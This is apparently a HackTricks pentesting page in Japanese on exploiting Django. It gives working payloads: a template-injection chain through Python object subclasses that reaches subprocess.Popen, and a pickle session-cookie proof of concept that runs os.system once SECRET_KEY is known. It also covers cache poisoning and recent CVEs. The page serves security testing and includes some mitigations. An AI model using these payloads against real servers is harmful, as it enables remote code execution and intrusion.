# Django

{{#include ../../banners/hacktricks-training.md}}

## キャッシュ操作によるRCE
Djangoのデフォルトのキャッシュストレージ方法は[Python pickles](https://docs.python.org/3/library/pickle.html)であり、[信頼できない入力がアンピクルされる](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)とRCEにつながる可能性があります。**攻撃者がキャッシュへの書き込みアクセスを取得できれば、この脆弱性を基盤となるサーバーでのRCEにエスカレートさせることができます**。

Djangoのキャッシュは、[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[メモリ](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[ファイル](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)、または[データベース](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)のいずれかに保存されます。Redisサーバーやデータベースに保存されたキャッシュは、最も攻撃されやすいベクトル（RedisインジェクションやSQLインジェクション）ですが、攻撃者はファイルベースのキャッシュを使用して任意の書き込みをRCEに変えることもできるかもしれません。メンテナはこれを非問題としてマークしています。キャッシュファイルフォルダー、SQLテーブル名、Redisサーバーの詳細は、実装に基づいて異なることに注意することが重要です。

このHackerOneのレポートは、SQLiteデータベースに保存されたDjangoキャッシュを悪用する素晴らしい再現可能な例を提供しています: https://hackerone.com/reports/1415436

---

## サーバーサイドテンプレートインジェクション（SSTI）
Djangoテンプレート言語（DTL）は**チューリング完全**です。ユーザー提供のデータが*テンプレート文字列*としてレンダリングされる場合（例えば、`Template(user_input).render()`を呼び出すか、`|safe`/`format_html()`が自動エスケープを削除する場合）、攻撃者は完全なSSTI → RCEを達成する可能性があります。

### 検出
1. *任意の*サニタイズされていないリクエストデータを含む`Template()` / `Engine.from_string()` / `render_to_string()`への動的呼び出しを探します。
2. 時間ベースまたは算術ペイロードを送信します:
```django
{{7*7}}
```
レンダリングされた出力に`49`が含まれている場合、入力はテンプレートエンジンによってコンパイルされています。

### プリミティブからRCEへ
Djangoは`__import__`への直接アクセスをブロックしますが、Pythonオブジェクトグラフにはアクセス可能です:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
`subprocess.Popen`のインデックスを見つけ（Pythonビルドによって約400〜500）、任意のコマンドを実行します：
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
より安全なユニバーサルガジェットは、`cls.__name__ == 'Popen'`になるまで繰り返すことです。

同じガジェットは、ユーザー入力を誤って処理する**Debug Toolbar**や**Django-CMS**のテンプレートレンダリング機能にも適用されます。

---

## ピクルバックセッションクッキーRCE
設定`SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'`が有効になっている場合（またはピクルをデシリアライズするカスタムシリアライザー）、Djangoは**ビューコードを呼び出す前に**セッションクッキーを*復号化し、デシリアライズ*します。したがって、有効な署名キー（デフォルトではプロジェクトの`SECRET_KEY`）を持っているだけで、即座にリモートコード実行が可能です。

### 脆弱性の要件
* サーバーが`PickleSerializer`を使用している。
* 攻撃者が`settings.SECRET_KEY`を知っている/推測できる（GitHub、`.env`、エラーページなどからの漏洩）。

### 検証用コンセプト
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
クッキーを送信すると、ペイロードはWSGIワーカーの権限で実行されます。

**緩和策**: デフォルトの `JSONSerializer` を維持し、`SECRET_KEY` をローテーションし、`SESSION_COOKIE_HTTPONLY` を設定します。

---

## 最近の（2023-2025）高影響Django CVEをペンテスターが確認すべき
* **CVE-2025-48432** – *エスケープされていない `request.path` を介したログインジェクション*（2025年6月4日修正）。攻撃者が改行/ANSIコードをログファイルに密輸し、下流のログ分析を毒することを可能にします。パッチレベル ≥ 4.2.22 / 5.1.10 / 5.2.2。
* **CVE-2024-42005** – *`JSONField` の `QuerySet.values()/values_list()` における重大なSQLインジェクション*（CVSS 9.8）。JSONキーを作成して引用から抜け出し、任意のSQLを実行します。4.2.15 / 5.0.8で修正。

常に `X-Frame-Options` エラーページまたは `/static/admin/css/base.css` ハッシュを介して正確なフレームワークバージョンをフィンガープリンティングし、適用可能な場合は上記をテストしてください。

---

## 参考文献
* Djangoセキュリティリリース – "Django 5.2.2, 5.1.10, 4.2.22がCVE-2025-48432に対処" – 2025年6月4日。
* OP-Innovate: "DjangoがSQLインジェクションの欠陥CVE-2024-42005に対処するためのセキュリティ更新をリリース" – 2024年8月11日。

{{#include ../../banners/hacktricks-training.md}}